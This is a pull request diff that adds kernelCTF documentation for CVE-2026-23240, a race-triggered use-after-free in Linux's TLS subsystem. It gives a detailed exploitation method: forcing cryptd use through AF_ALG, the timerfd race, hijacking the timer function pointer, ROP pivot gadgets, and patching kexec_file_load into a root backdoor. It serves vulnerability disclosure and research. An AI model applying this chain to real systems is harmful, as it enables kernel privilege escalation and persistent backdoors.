Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
211 changes: 211 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-23240_cos/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,211 @@
## Setup

### TLS setup

To trigger the TLS encryption we must first configure the socket.
This is done using the setsockopt() with SOL_TLS option:

```
static struct tls12_crypto_info_aes_ccm_128 crypto_info;
crypto_info.info.version = TLS_1_2_VERSION;
crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128;

if (setsockopt(sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0)
err(1, "TLS_TX");

```

This syscall triggers allocation of TLS context objects which will be important later on during the exploitation phase.

In KernelCTF config PCRYPT (parallel crypto engine) is disabled, so our only option to trigger async crypto is CRYPTD (software async crypto daemon).

Each crypto operation needed for TLS is usually implemented by multiple drivers.
For example, AES encryption in CBC mode is available through aesni_intel, aes_generic or cryptd (which is a daemon that runs these basic synchronous crypto operations in parallel using an internal queue).

Available drivers can be examined by looking at /proc/crypto, however those are only the drivers of the currently loaded modules. Crypto API supports loading additional modules on demand.

As seen in the code snippet above we don't have direct control over which crypto drivers are going to be used in our TLS encryption.
Drivers are selected automatically by Crypto API based on the priority field which is calculated internally to try to choose the "best" driver.

By default, cryptd is not selected and is not even loaded, which gives us no chance to exploit vulnerabilities in async operations.

However, we can cause cryptd to be loaded and influence the selection of drivers for TLS operations by using the Crypto User API. This API is used to perform low-level cryptographic operations and allows the user to select an arbitrary driver.

The interesting thing is that requesting a given driver permanently changes the system-wide list of available drivers and their priorities, affecting future TLS operations.

Following code causes AES CCM encryption selected for TLS to be handled by cryptd:

```
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "skcipher",
.salg_name = "cryptd(ctr(aes-generic))"
};
int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0);

if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0)
err(1, "af_alg bind");

struct sockaddr_alg sa2 = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))"
};

if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0)
err(1, "af_alg bind");
```

## Triggering use-after-free through race condition

To trigger the vulnerability we have to race tls_encrypt_done() against tls_sw_cancel_work_tx().


```
void tls_sw_cancel_work_tx(struct tls_context *tls_ctx)
{
struct tls_sw_context_tx *ctx = tls_sw_ctx_tx(tls_ctx);

set_bit(BIT_TX_CLOSING, &ctx->tx_bitmask);
set_bit(BIT_TX_SCHEDULED, &ctx->tx_bitmask);
[1] cancel_delayed_work_sync(&ctx->tx_work.work);
}


static void tls_encrypt_done(crypto_completion_data_t *data, int err)
{
...
if (rec) {
struct tls_rec *first_rec;

/* Mark the record as ready for transmission */
smp_store_mb(rec->tx_ready, true);

/* If received record is at head of tx_list, schedule tx */
first_rec = list_first_entry(&ctx->tx_list,
struct tls_rec, list);
if (rec == first_rec) {
/* Schedule the transmission */
[2] if (!test_and_set_bit(BIT_TX_SCHEDULED,
&ctx->tx_bitmask)) {
[3] schedule_delayed_work(&ctx->tx_work.work, 1);
}


}
}

if (atomic_dec_and_test(&ctx->encrypt_pending))
complete(&ctx->async_wait.completion);
}
```

We have to make sure that tls_sw_cancel_work_tx() runs after the BIT_TX_SCHEDULED test in tls_encrypt_done() ([2]) and schedule_delayed_work() ([3]) is called after cancel_delayed_work_sync() ([1]).

To accomplish this a well-known timerfd technique invented by Jann Horn is used.
Hrtimer based timerfd is set to trigger a timer interrupt between points [2] and [3] and close() is called during the resulting race window to trigger TLS context teardown.

## Getting RIP control

Getting RIP control is trivial when we control the argument to schedule_delayed_work() (struct delayed_work is at offset 0x30 of our victim object tls_sw_context_tx).

```
struct tls_sw_context_tx {
struct crypto_aead * aead_send; /* 0 0x8 */
struct crypto_wait async_wait; /* 0x8 0x28 */
struct tx_work tx_work; /* 0x30 0x60 */
...
}

struct delayed_work {
struct work_struct work; /* 0 0x20 */
struct timer_list timer; /* 0x20 0x28 */
struct workqueue_struct * wq; /* 0x48 0x8 */
int cpu; /* 0x50 0x4 */
};

struct work_struct {
atomic_long_t data; /* 0 0x8 */
struct list_head entry; /* 0x8 0x10 */
work_func_t func; /* 0x18 0x8 */
};

struct timer_list {
struct hlist_node entry; /* 0 0x10 */
long unsigned int expires; /* 0x10 0x8 */
void (*function)(struct timer_list *); /* 0x18 0x8 */
u32 flags; /* 0x20 0x4 */
};



```

Setting timer.function to our desired RIP is all that is needed.

The important thing to note is that our code will be executed from the timer interrupt context.

## Pivot to ROP

When timer function is called we get control of following registers:
- RDI - pointer to struct timer_list (offset 0x20 from struct delayed_work and 0x50 from struct tls_sw_context_tx)
- R12 - copy of RDI

We control entire tls_sw_context_tx object except for first 0x18 bytes (because of the key payload header), but many offsets are unusable for purpose of storing ROP chain because corresponding struct fields have to be set to particular values for the timer to be scheduled or are modified by timer subsystem before timer function are triggered.

Following gadgets are used to pass control to ROP:

#### Gadget 1

mov rax, qword ptr [r12 + 0x38]
test rax, rax
je 0xffffffff81b7602c
mov rdx, r13
mov rsi, r12
mov rdi, rbx
call __x86_indirect_thunk_rax

This copies R12 to RSI.

#### Gadget 2

push rsi
jmp qword ptr [rsi + 0x66]

#### Gadget 3

pop rsp
jmp qword [rsi+0x0F]


#### Gadget 4

pop r12
pop r13
pop r14
pop r15
ret

This jumps over first 32 bytes of the object that are unusable.

## Second pivot

At this point we have full ROP, but our space is limited.
To have enough space to execute all privilege escalation code we have to pivot again.
This is quite simple - we choose an unused read/write area in the kernel and use copy_user_generic_string() to copy the second stage ROP from userspace to that area.
Then we use a `pop rsp ; ret` gadget to pivot there.

## Privilege escalation

As mentioned before, our ROP is executed from the interrupt context, so we can't do a traditional commit_creds() to modify the current process's privileges because the current process context is unknown.

We could try locating our exploit process and changing its privileges, but we decided to go with a different approach - we patch the kernel creating a backdoor that will grant root privileges to any process that executes a given syscall.

We chose a rarely used kexec_file_load() syscall and overwrote its code with our get_root function that does all traditional privileges escalation/namespace escape stuff: commit_creds(init_cred), switch_task_namespaces(pid, init_nsproxy) etc.

This function also returns a special value (0x777) that our user space code can use to detect if the system was already compromised.

Patching the kernel function is done rop_patch_kernel_code() - it calls set_memory_rw() on destination memory and uses copy_user_generic() to write new code there.

It would take a lot of effort to be able to properly return from the interrupt after all the pivots, so we just jump to an infinite loop gadget after patching is complete. This will make CPU 1 unusable, but we still have CPU 0 and from there can call kexec_file_load() to get root privileges.

42 changes: 42 additions & 0 deletions pocs/linux/kernelctf/CVE-2026-23240_cos/docs/vulnerability.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
## Requirements to trigger the vulnerability

- Kernel configuration: CONFIG_TLS and CONFIG_CRYPTO_CRYPTD
- User namespaces required: no

## Commit which introduced the vulnerability

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f87e62d45e51b12d48d2cb46b5cde8f83b866bc4

## Commit which fixed the vulnerability

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7bb09315f93dce6acc54bf59e5a95ba7365c2be4

## Affected kernel versions

Introduced in 5.3. Fixed in 6.12.75.

## Affected component, subsystem

net/tls

## Description

During TLS context teardown of a socket tls_sw_cancel_work_tx() tries to ensure no TX workers are left running
before context is destroyed using cancel_delayed_work_sync():

```
void tls_sw_cancel_work_tx(struct tls_context *tls_ctx)
{
struct tls_sw_context_tx *ctx = tls_sw_ctx_tx(tls_ctx);

set_bit(BIT_TX_CLOSING, &ctx->tx_bitmask);
set_bit(BIT_TX_SCHEDULED, &ctx->tx_bitmask);
cancel_delayed_work_sync(&ctx->tx_work.work);
}
```

However, new TX work can be scheduled from tls_encrypt_done() or tls_write_space() and these functions can run concurrently with tls_sw_cancel_work_tx().
If schedule_delayed_work() is called from tls_encrypt_done() after cancel_delayed_work_sync() returns, use-after-free will happen in when in tls_work_handler()
because tls_sw_free_ctx_tx() will free the TLS TX context.


Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
INCLUDES =
LIBS = -pthread -lkernelXDK
CFLAGS = -fomit-frame-pointer -static -fcf-protection=none -Wno-writable-strings

exploit: exploit.cpp kernelver_18244.582.47.h target.kxdb kaslr.c
g++ -o $@ exploit.cpp kaslr.c $(INCLUDES) $(CFLAGS) $(LIBS)

prerequisites:
sudo apt-get install libkeyutils-dev
Binary file not shown.
Loading
Loading